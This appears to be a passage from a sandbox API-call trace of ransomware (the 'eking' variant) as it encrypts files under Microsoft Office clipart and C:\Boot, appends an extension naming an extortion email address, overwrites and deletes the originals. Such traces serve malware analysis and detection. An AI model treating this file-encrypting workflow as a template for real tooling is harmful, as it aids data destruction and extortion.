[0192.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0192.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0192.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0192.871] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.871] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0192.874] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x3d75, lpOverlapped=0x0) returned 1 [0192.877] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x3d80, lpOverlapped=0x0) returned 1 [0192.879] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.880] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.880] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.880] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3d75, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x3d75, lpOverlapped=0x0) returned 1 [0192.882] FlushFileBuffers (hFile=0x1b8) returned 1 [0192.946] FlushFileBuffers (hFile=0x1e8) returned 1 [0192.950] CloseHandle (hObject=0x1b8) returned 1 [0192.951] CloseHandle (hObject=0x1e8) returned 1 [0192.952] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0192.954] SetEvent (hEvent=0x174) returned 1 [0192.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.955] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12982) returned 1 [0192.955] CloseHandle (hObject=0x1e8) returned 1 [0192.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0192.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0192.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0192.956] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.956] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0192.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0192.957] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x32b6, lpOverlapped=0x0) returned 1 [0192.960] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x32c0, lpOverlapped=0x0) returned 1 [0192.962] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0192.962] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.962] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0192.962] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x32b6, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x32b6, lpOverlapped=0x0) returned 1 [0192.964] FlushFileBuffers (hFile=0x1e8) returned 1 [0193.571] FlushFileBuffers (hFile=0x1b8) returned 1 [0193.891] CloseHandle (hObject=0x1e8) returned 1 [0193.892] CloseHandle (hObject=0x1b8) returned 1 [0193.893] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0193.895] SetEvent (hEvent=0x174) returned 1 [0193.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0193.954] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8772) returned 1 [0193.954] CloseHandle (hObject=0x1b8) returned 1 [0193.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0193.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0193.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0193.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0193.955] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0193.955] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0193.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1fc [0193.985] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2244, lpOverlapped=0x0) returned 1 [0194.247] WriteFile (in: hFile=0x1fc, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2250, lpOverlapped=0x0) returned 1 [0194.249] WriteFile (in: hFile=0x1fc, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0194.249] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0194.249] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0194.249] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2244, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2244, lpOverlapped=0x0) returned 1 [0194.254] FlushFileBuffers (hFile=0x1b8) returned 1 [0194.258] FlushFileBuffers (hFile=0x1fc) returned 1 [0194.260] CloseHandle (hObject=0x1b8) returned 1 [0194.260] CloseHandle (hObject=0x1fc) returned 1 [0194.261] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0194.263] SetEvent (hEvent=0x174) returned 1 [0194.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0194.264] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14486) returned 1 [0194.264] CloseHandle (hObject=0x1fc) returned 1 [0194.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0194.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0194.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0194.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0194.265] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0194.265] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0194.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0194.265] ReadFile (in: hFile=0x1fc, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x3896, lpOverlapped=0x0) returned 1 [0194.428] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x38a0, lpOverlapped=0x0) returned 1 [0194.429] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0194.430] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0194.430] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0194.430] WriteFile (in: hFile=0x1fc, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3896, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x3896, lpOverlapped=0x0) returned 1 [0194.514] FlushFileBuffers (hFile=0x1fc) returned 1 [0194.647] FlushFileBuffers (hFile=0x1b8) returned 1 [0195.844] CloseHandle (hObject=0x1fc) returned 1 [0196.020] CloseHandle (hObject=0x1b8) returned 1 [0196.021] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0196.024] GetProcessHeap () returned 0x6a0000 [0196.024] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6bb698 [0196.024] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0196.024] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0196.025] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0196.025] GetProcessHeap () returned 0x6a0000 [0196.025] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 [0196.025] SetEvent (hEvent=0x178) returned 1 [0196.025] SetEvent (hEvent=0x174) returned 1 [0196.025] SetEvent (hEvent=0x17c) returned 1 [0196.025] GetProcessHeap () returned 0x6a0000 [0196.025] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3280020 | out: hHeap=0x6a0000) returned 1 [0196.032] GetProcessHeap () returned 0x6a0000 [0196.032] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db4b0 | out: hHeap=0x6a0000) returned 1 [0196.032] GetProcessHeap () returned 0x6a0000 [0196.032] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x772da0 | out: hHeap=0x6a0000) returned 1 [0196.034] GetProcessHeap () returned 0x6a0000 [0196.034] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x782da8 | out: hHeap=0x6a0000) returned 1 Thread: id = 65 os_tid = 0x7c0 [0164.603] GetProcessHeap () returned 0x6a0000 [0164.603] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36b0048 [0164.604] GetProcessHeap () returned 0x6a0000 [0164.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36c0050 [0164.604] GetProcessHeap () returned 0x6a0000 [0164.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db4e0 [0164.604] GetProcessHeap () returned 0x6a0000 [0164.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x110102) returned 0x37b0020 [0164.604] GetProcessHeap () returned 0x6a0000 [0164.604] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x36d0058 [0164.605] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0164.605] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0164.605] Wow64DisableWow64FsRedirection (in: OldValue=0x2d5fd64 | out: OldValue=0x2d5fd64*=0x0) returned 1 [0164.605] GetProcessHeap () returned 0x6a0000 [0164.605] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d0058 | out: hHeap=0x6a0000) returned 1 [0164.605] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.605] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.606] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.833] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=0) returned 1 [0164.833] CloseHandle (hObject=0x1b0) returned 1 [0164.834] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.834] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=89168) returned 1 [0164.834] CloseHandle (hObject=0x1b0) returned 1 [0164.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0164.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0164.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.839] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.840] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.840] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=87616) returned 1 [0164.841] CloseHandle (hObject=0x1b0) returned 1 [0164.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0164.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0164.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.841] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.841] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.842] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=91712) returned 1 [0164.842] CloseHandle (hObject=0x1b0) returned 1 [0164.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0164.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0164.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.842] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.843] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.843] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=94800) returned 1 [0164.843] CloseHandle (hObject=0x1b0) returned 1 [0164.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0164.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0164.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.843] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.844] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.844] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=85056) returned 1 [0164.844] CloseHandle 